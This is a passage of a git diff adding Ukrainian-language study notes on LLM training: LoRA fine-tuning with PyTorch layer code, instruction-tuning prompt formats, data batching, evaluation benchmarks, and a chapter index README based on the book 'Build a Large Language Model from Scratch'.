1. **Зменшує кількість навчальних параметрів**: Замість оновлення всієї вагової матриці в моделі, LoRA **ділить** вагову матрицю на дві менші матриці (названі **A** та **B**). Це робить навчання **швидшим** і вимагає **менше пам'яті**, оскільки потрібно оновити менше параметрів.
|
||||
1. Це відбувається тому, що замість обчислення повного оновлення ваги шару (матриці), воно апроксимує його до добутку 2 менших матриць, зменшуючи оновлення для обчислення:\
|
||||
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
||||
2. **Зберігає оригінальні ваги моделі незмінними**: LoRA дозволяє зберігати оригінальні ваги моделі такими ж, і лише оновлює **нові маленькі матриці** (A та B). Це корисно, оскільки означає, що оригінальні знання моделі зберігаються, і ви лише налаштовуєте те, що необхідно.
|
||||
3. **Ефективне специфічне налаштування завдань**: Коли ви хочете адаптувати модель до **нового завдання**, ви можете просто навчати **маленькі матриці LoRA** (A та B), залишаючи решту моделі без змін. Це **набагато ефективніше**, ніж повторне навчання всієї моделі.
|
||||
4. **Ефективність зберігання**: Після додаткового налаштування, замість збереження **цілковито нової моделі** для кожного завдання, вам потрібно зберігати лише **матриці LoRA**, які є дуже маленькими в порівнянні з усією моделлю. Це полегшує адаптацію моделі до багатьох завдань без використання занадто багато пам'яті.
|
||||
|
||||
Щоб реалізувати LoraLayers замість лінійних під час додаткового налаштування, тут пропонується цей код [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb):
|
||||
```python
|
||||
import math
|
||||
|
||||
# Create the LoRA layer with the 2 matrices and the alpha
|
||||
class LoRALayer(torch.nn.Module):
|
||||
def __init__(self, in_dim, out_dim, rank, alpha):
|
||||
super().__init__()
|
||||
self.A = torch.nn.Parameter(torch.empty(in_dim, rank))
|
||||
torch.nn.init.kaiming_uniform_(self.A, a=math.sqrt(5)) # similar to standard weight initialization
|
||||
self.B = torch.nn.Parameter(torch.zeros(rank, out_dim))
|
||||
self.alpha = alpha
|
||||
|
||||
def forward(self, x):
|
||||
x = self.alpha * (x @ self.A @ self.B)
|
||||
return x
|
||||
|
||||
# Combine it with the linear layer
|
||||
class LinearWithLoRA(torch.nn.Module):
|
||||
def __init__(self, linear, rank, alpha):
|
||||
super().__init__()
|
||||
self.linear = linear
|
||||
self.lora = LoRALayer(
|
||||
linear.in_features, linear.out_features, rank, alpha
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
return self.linear(x) + self.lora(x)
|
||||
|
||||
# Replace linear layers with LoRA ones
|
||||
def replace_linear_with_lora(model, rank, alpha):
|
||||
for name, module in model.named_children():
|
||||
if isinstance(module, torch.nn.Linear):
|
||||
# Replace the Linear layer with LinearWithLoRA
|
||||
setattr(model, name, LinearWithLoRA(module, rank, alpha))
|
||||
else:
|
||||
# Recursively apply the same function to child modules
|
||||
replace_linear_with_lora(module, rank, alpha)
|
||||
```
|
||||
## References
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
|
@ -0,0 +1,101 @@
|
|||
# 7.2. Налаштування для виконання інструкцій
|
||||
|
||||
{% hint style="success" %}
|
||||
Мета цього розділу - показати, як **налаштувати вже попередньо навчану модель для виконання інструкцій**, а не просто генерувати текст, наприклад, відповідати на завдання як чат-бот.
|
||||
{% endhint %}
|
||||
|
||||
## Набір даних
|
||||
|
||||
Щоб налаштувати LLM для виконання інструкцій, необхідно мати набір даних з інструкціями та відповідями для налаштування LLM. Існують різні формати для навчання LLM виконувати інструкції, наприклад:
|
||||
|
||||
* Приклад стилю запиту Apply Alpaca:
|
||||
```csharp
|
||||
Below is an instruction that describes a task. Write a response that appropriately completes the request.
|
||||
|
||||
### Instruction:
|
||||
Calculate the area of a circle with a radius of 5 units.
|
||||
|
||||
### Response:
|
||||
The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging in the radius of 5 units:
|
||||
|
||||
\( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units.
|
||||
```
|
||||
* Phi-3 Приклад стилю запиту:
|
||||
```vbnet
|
||||
<|User|>
|
||||
Can you explain what gravity is in simple terms?
|
||||
|
||||
<|Assistant|>
|
||||
Absolutely! Gravity is a force that pulls objects toward each other.
|
||||
```
|
||||
Навчання LLM з такими наборами даних замість просто сирого тексту допомагає LLM зрозуміти, що він повинен давати конкретні відповіді на запитання, які він отримує.
|
||||
|
||||
Отже, однією з перших речей, які потрібно зробити з набором даних, що містить запити та відповіді, є моделювання цих даних у бажаному форматі запиту, наприклад:
|
||||
```python
|
||||
# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb
|
||||
def format_input(entry):
|
||||
instruction_text = (
|
||||
f"Below is an instruction that describes a task. "
|
||||
f"Write a response that appropriately completes the request."
|
||||
f"\n\n### Instruction:\n{entry['instruction']}"
|
||||
)
|
||||
|
||||
input_text = f"\n\n### Input:\n{entry['input']}" if entry["input"] else ""
|
||||
|
||||
return instruction_text + input_text
|
||||
|
||||
model_input = format_input(data[50])
|
||||
|
||||
desired_response = f"\n\n### Response:\n{data[50]['output']}"
|
||||
|
||||
print(model_input + desired_response)
|
||||
```
|
||||
Тоді, як завжди, потрібно розділити набір даних на набори для навчання, валідації та тестування.
|
||||
|
||||
## Пакетування та завантажувачі даних
|
||||
|
||||
Тоді потрібно пакетувати всі вхідні дані та очікувані виходи для навчання. Для цього потрібно:
|
||||
|
||||
* Токенізувати тексти
|
||||
* Доповнити всі зразки до однакової довжини (зазвичай довжина буде такою ж, як довжина контексту, використаного для попереднього навчання LLM)
|
||||
* Створити очікувані токени, зсувши вхід на 1 у власній функції об'єднання
|
||||
* Замінити деякі токени доповнення на -100, щоб виключити їх з втрат навчання: після першого токена `endoftext` замінити всі інші токени `endoftext` на -100 (оскільки використання `cross_entropy(...,ignore_index=-100)` означає, що він ігноруватиме цілі з -100)
|
||||
* \[Додатково\] Замаскувати за допомогою -100 також всі токени, що належать до запитання, щоб LLM навчався лише генерувати відповідь. У стилі Apply Alpaca це означатиме замаскувати все до `### Response:`
|
||||
|
||||
З цим створеним, час створити завантажувачі даних для кожного набору даних (навчання, валідація та тестування).
|
||||
|
||||
## Завантаження попередньо навченої LLM та тонка настройка та перевірка втрат
|
||||
|
||||
Потрібно завантажити попередньо навчений LLM, щоб його тонко налаштувати. Це вже обговорювалося на інших сторінках. Тоді можна використовувати раніше використану функцію навчання для тонкої настройки LLM.
|
||||
|
||||
Під час навчання також можна спостерігати, як змінюються втрати навчання та втрати валідації протягом епох, щоб побачити, чи зменшуються втрати і чи відбувається перенавчання.\
|
||||
Пам'ятайте, що перенавчання відбувається, коли втрати навчання зменшуються, але втрати валідації не зменшуються або навіть збільшуються. Щоб уникнути цього, найпростіше - зупинити навчання на епосі, де починається ця поведінка.
|
||||
|
||||
## Якість відповіді
|
||||
|
||||
Оскільки це не тонка настройка класифікації, де можна більше довіряти змінам втрат, також важливо перевірити якість відповідей у тестовому наборі. Тому рекомендується зібрати згенеровані відповіді з усіх тестових наборів і **перевірити їхню якість вручну**, щоб побачити, чи є неправильні відповіді (зверніть увагу, що LLM може правильно створити формат і синтаксис речення відповіді, але дати абсолютно неправильну відповідь. Зміна втрат не відобразить цю поведінку).\
|
||||
Зверніть увагу, що також можна провести цей огляд, передавши згенеровані відповіді та очікувані відповіді **іншим LLM і попросивши їх оцінити відповіді**.
|
||||
|
||||
Інші тести, які можна провести для перевірки якості відповідей:
|
||||
|
||||
1. **Вимірювання масового багатозадачного мовного розуміння (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU оцінює знання моделі та здатності до розв'язання проблем у 57 предметах, включаючи гуманітарні науки, науки та інше. Він використовує питання з вибором для оцінки розуміння на різних рівнях складності, від початкового до просунутого професійного.
|
||||
2. [**LMSYS Chatbot Arena**](https://arena.lmsys.org): Ця платформа дозволяє користувачам порівнювати відповіді різних чат-ботів поруч. Користувачі вводять запит, і кілька чат-ботів генерують відповіді, які можна безпосередньо порівняти.
|
||||
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca\_eval)**:** AlpacaEval - це автоматизована система оцінювання, де просунутий LLM, такий як GPT-4, оцінює відповіді інших моделей на різні запити.
|
||||
4. **Оцінка загального мовного розуміння (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE - це колекція з дев'яти завдань з розуміння природної мови, включаючи аналіз настроїв, текстуальне наслідкування та відповіді на запитання.
|
||||
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** Спираючись на GLUE, SuperGLUE включає більш складні завдання, які важко виконати для сучасних моделей.
|
||||
6. **Бенчмарк за межами гри імітації (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench - це масштабний бенчмарк з понад 200 завданнями, які тестують здібності моделі в таких областях, як міркування, переклад та відповіді на запитання.
|
||||
7. **Голістична оцінка мовних моделей (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM забезпечує всебічну оцінку за різними метриками, такими як точність, надійність та справедливість.
|
||||
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** Відкритий фреймворк оцінювання від OpenAI, який дозволяє тестувати AI моделі на кастомних та стандартизованих завданнях.
|
||||
9. [**HumanEval**](https://github.com/openai/human-eval)**:** Колекція програмних задач, що використовуються для оцінки здібностей генерації коду мовними моделями.
|
||||
10. **Набір даних для відповіді на запитання Стенфордського університету (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD складається з питань про статті з Вікіпедії, де моделі повинні зрозуміти текст, щоб відповісти точно.
|
||||
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Великий набір даних з питань та відповідей, а також документів з доказами.
|
||||
|
||||
і багато інших
|
||||
|
||||
## Код для тонкої настройки відповідно до інструкцій
|
||||
|
||||
Ви можете знайти приклад коду для виконання цієї тонкої настройки за адресою [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01\_main-chapter-code/gpt\_instruction\_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01\_main-chapter-code/gpt\_instruction\_finetuning.py)
|
||||
|
||||
## Посилання
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
107
todo/llm-training-data-preparation/README.md
Normal file
|
@ -0,0 +1,107 @@
|
|||
# LLM Training - Data Preparation
|
||||
|
||||
**Це мої нотатки з дуже рекомендованої книги** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **з деякою додатковою інформацією.**
|
||||
|
||||
## Basic Information
|
||||
|
||||
Вам слід почати з читання цього посту для деяких базових концепцій, які ви повинні знати:
|
||||
|
||||
{% content-ref url="0.-basic-llm-concepts.md" %}
|
||||
[0.-basic-llm-concepts.md](0.-basic-llm-concepts.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 1. Tokenization
|
||||
|
||||
{% hint style="success" %}
|
||||
Мета цього початкового етапу дуже проста: **Розділіть вхідні дані на токени (ідентифікатори) таким чином, щоб це мало сенс**.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="1.-tokenizing.md" %}
|
||||
[1.-tokenizing.md](1.-tokenizing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 2. Data Sampling
|
||||
|
||||
{% hint style="success" %}
|
||||
Мета цього другого етапу дуже проста: **Вибірка вхідних даних і підготовка їх до етапу навчання, зазвичай шляхом розділення набору даних на речення певної довжини та також генерування очікуваної відповіді.**
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="2.-data-sampling.md" %}
|
||||
[2.-data-sampling.md](2.-data-sampling.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 3. Token Embeddings
|
||||
|
||||
{% hint style="success" %}
|
||||
Мета цього третього етапу дуже проста: **Призначити кожному з попередніх токенів у словнику вектор бажаних розмірів для навчання моделі.** Кожне слово в словнику буде точкою в просторі X вимірів.\
|
||||
Зверніть увагу, що спочатку позиція кожного слова в просторі просто ініціалізується "випадковим чином", і ці позиції є навчальними параметрами (будуть покращені під час навчання).
|
||||
|
||||
Більше того, під час вбудовування токенів **створюється ще один шар вбудовувань**, який представляє (в цьому випадку) **абсолютну позицію слова в навчальному реченні**. Таким чином, слово в різних позиціях у реченні матиме різне представлення (значення).
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="3.-token-embeddings.md" %}
|
||||
[3.-token-embeddings.md](3.-token-embeddings.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 4. Attention Mechanisms
|
||||
|
||||
{% hint style="success" %}
|
||||
Мета цього четвертого етапу дуже проста: **Застосувати деякі механізми уваги**. Це будуть багато **повторюваних шарів**, які будуть **фіксувати зв'язок слова в словнику з його сусідами в поточному реченні, що використовується для навчання LLM**.\
|
||||
Для цього використовується багато шарів, тому багато навчальних параметрів будуть фіксувати цю інформацію.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="4.-attention-mechanisms.md" %}
|
||||
[4.-attention-mechanisms.md](4.-attention-mechanisms.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 5. LLM Architecture
|
||||
|
||||
{% hint style="success" %}
|
||||
Мета цього п'ятого етапу дуже проста: **Розробити архітектуру повного LLM**. З'єднайте все разом, застосуйте всі шари та створіть усі функції для генерації тексту або перетворення тексту в ідентифікатори і назад.
|
||||
|
||||
Ця архітектура буде використовуватися як для навчання, так і для прогнозування тексту після його навчання.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="5.-llm-architecture.md" %}
|
||||
[5.-llm-architecture.md](5.-llm-architecture.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 6. Pre-training & Loading models
|
||||
|
||||
{% hint style="success" %}
|
||||
Мета цього шостого етапу дуже проста: **Навчити модель з нуля**. Для цього буде використана попередня архітектура LLM з деякими циклами, що проходять через набори даних, використовуючи визначені функції втрат і оптимізатор для навчання всіх параметрів моделі.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="6.-pre-training-and-loading-models.md" %}
|
||||
[6.-pre-training-and-loading-models.md](6.-pre-training-and-loading-models.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 7.0. LoRA Improvements in fine-tuning
|
||||
|
||||
{% hint style="success" %}
|
||||
Використання **LoRA значно зменшує обчислення**, необхідні для **тонкої настройки** вже навчених моделей.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="7.0.-lora-improvements-in-fine-tuning.md" %}
|
||||
[7.0.-lora-improvements-in-fine-tuning.md](7.0.-lora-improvements-in-fine-tuning.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 7.1. Fine-Tuning for Classification
|
||||
|
||||
{% hint style="success" %}
|
||||
Мета цього розділу - показати, як тонко налаштувати вже попередньо навчена модель, щоб замість генерації нового тексту LLM вибирав **ймовірності того, що даний текст буде класифікований у кожну з наданих категорій** (наприклад, чи є текст спамом чи ні).
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="7.1.-fine-tuning-for-classification.md" %}
|
||||
[7.1.-fine-tuning-for-classification.md](7.1.-fine-tuning-for-classification.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 7.2. Fine-Tuning to follow instructions
|
||||
|
||||
{% hint style="success" %}
|
||||
Мета цього розділу - показати, як **тонко налаштувати вже попередньо навчена модель, щоб слідувати інструкціям**, а не просто генерувати текст, наприклад, відповідати на завдання як чат-бот.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="7.2.-fine-tuning-to-follow-instructions.md" %}
|
||||
[7.2.-fine-tuning-to-follow-instructions.md](7.2.-fine-tuning-to-follow-instructions.md)
|
||||
{% endcontent-ref %}
|